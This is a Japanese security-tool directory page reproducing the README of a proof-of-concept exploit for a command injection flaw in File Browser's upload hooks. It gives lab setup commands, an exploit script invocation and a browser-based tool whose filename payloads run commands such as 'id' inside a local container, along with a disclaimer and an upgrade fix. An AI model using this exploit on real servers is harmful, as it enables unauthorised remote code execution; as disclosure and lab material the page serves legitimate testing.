Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-35585-poc — CVE-2026-35585 の概念実証エクスプロイト。これは File Browser(バージョン 2.0.0 から 2.33.1)における OS コマンドインジェクションの脆弱性です。悪意のあるファイルアップロードを介したリモートコード実行のための、Python およびブラウザベースの PoC スクリプトを含みます。 | Kitploit
ツール/GitHubGitHub/saku0512/cve-2026-35585-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubsaku0512/cve-2026-35585-poc

CVE-2026-35585-poc

CVE-2026-35585 の概念実証エクスプロイト。これは File Browser(バージョン 2.0.0 から 2.33.1)における OS コマンドインジェクションの脆弱性です。悪意のあるファイルアップロードを介したリモートコード実行のための、Python およびブラウザベースの PoC スクリプトを含みます。

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-35585: File Browser OSコマンドインジェクション PoC

English version

概要

このリポジトリは、File Browser(バージョン 2.0.0 から 2.33.1)で発見された重大なOSコマンドインジェクション脆弱性 CVE-2026-35585 のProof of Concept(PoC)です。

この脆弱性は「Custom Command Hooks」機能に存在します。シェル実行時に $FILE や $USERNAME などの環境変数が十分にサニタイズされないため、ファイルアップロード権限を持つ認証済みユーザーは、悪意のあるファイル名を使ってホストシステム上で任意のコマンドを実行できる可能性があります。

発見者: saku0512 (https://github.com/Saku0512)


⚠️ 免責事項

このプロジェクトは、教育目的および倫理的なセキュリティテスト目的でのみ使用してください。

このツールの悪用、損害、または違法行為について、作者は一切の責任を負いません。コンピューターシステムへの不正アクセスは違法です。このソフトウェアを使用することで、明示的な許可を得た環境でのみセキュリティテストを行うことに同意したものとみなされます。


脆弱性の詳細

  • CVE ID: CVE-2026-35585
  • 種別: OSコマンドインジェクション (CWE-78)
  • 影響: リモートコード実行 (RCE)
  • 影響を受けるバージョン: v2.0.0 <= File Browser <= v2.33.1
  • 修正済みバージョン: v2.33.8

根本原因

File Browser では、管理者が「After Upload」などのフックを設定できます。これらのフックが実行される際、アプリケーションはシェルコマンドを実行し、$FILE のような変数を実際のファイル名に置換します。ファイル名に ;、&、| などのシェルメタ文字が含まれている場合、適切にエスケープされずにシステムシェルで実行されてしまいます。


Proof of Concept(使用方法)

このセクションでは、提供されている環境とexploitスクリプトを使って、リモートコード実行(RCE)を再現する手順を説明します。

1. 環境構築と初期設定

Docker Compose を使って、脆弱な環境(File Browser v2.33.1)を起動します。初回は data/filebrowser.db が存在しないため、先にFile BrowserのDBを初期化してからhookを設定します。

root@kitploit:~
# data ディレクトリに適切な権限を設定
mkdir -p data && sudo chown -R 1000:1000 data

# DBを初期化
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db

# admin / admin ユーザーを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db

# shell に "sh -c" を設定
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db

# After Upload コマンドを追加
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db

# コンテナを起動
docker compose up -d

既に data/filebrowser.db が存在する場合は、config init は不要です。admin ユーザーが既にある場合は、users add の代わりに次のコマンドでパスワードをリセットしてください。

root@kitploit:~
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db

コンテナ起動後にhook設定を変更する場合は、SQLiteのロックを避けるため docker compose stop してから設定コマンドを実行し、最後に docker compose start してください。

2. exploitの実行

exploit.py スクリプトを実行し、ログインと悪意のあるファイルアップロードを自動化します。以下のコマンドは、コンテナ内の /tmp ディレクトリに pwned_rce_test というファイルを作成することを試みます。

root@kitploit:~
# 依存関係をインストール
pip install requests

# exploit を実行
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"

3. 検証

コンテナ内にファイルが作成されているか確認し、コマンドが正常に実行されたことを検証します。

root@kitploit:~
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test

ファイルが存在すれば、RCEが確認できます。


ブラウザPoC(ナビ付き)

既存の exploit.py はそのまま使えます。よりFile Browserを操作している感覚で確認したい場合は、同梱のブラウザPoCナビを使えます。

1. File Browser を起動してフックを設定

上の「1. 環境構築と初期設定」を実行し、http://localhost:8080 で File Browser にログインできる状態にします。

2. ブラウザPoCナビを起動

root@kitploit:~
python3 browser_poc.py

ブラウザで以下を開きます。

root@kitploit:~
http://127.0.0.1:8090/

3. ナビに沿って検証

  1. Target: http://localhost:8080 の到達性を確認します。
  2. Login: admin / admin でログインし、File Browser API のトークンを取得します。
  3. Payload: デフォルトでは id > /srv/pwned_browser_rce.txt を実行するファイル名 payload を生成します。
  4. Trigger: 悪意のあるファイル名でアップロードし、After Upload hook を発火させます。
  5. Verify: /srv/pwned_browser_rce.txt を File Browser API 経由で読み、RCE の結果を画面内で確認します。

/srv は docker-compose.yml でこのリポジトリにマウントされているため、成功するとホスト側にも pwned_browser_rce.txt が作成されます。


対策

File Browser を バージョン 2.33.8 以降へアップデートしてください。 修正済みバージョンでは、フック機能がデフォルトで無効化され、変数展開がより安全に処理されます。


参考リンク

  • CVE-2026-35585 (cve.org)
  • Official GitHub Advisory
ツールをダウンロード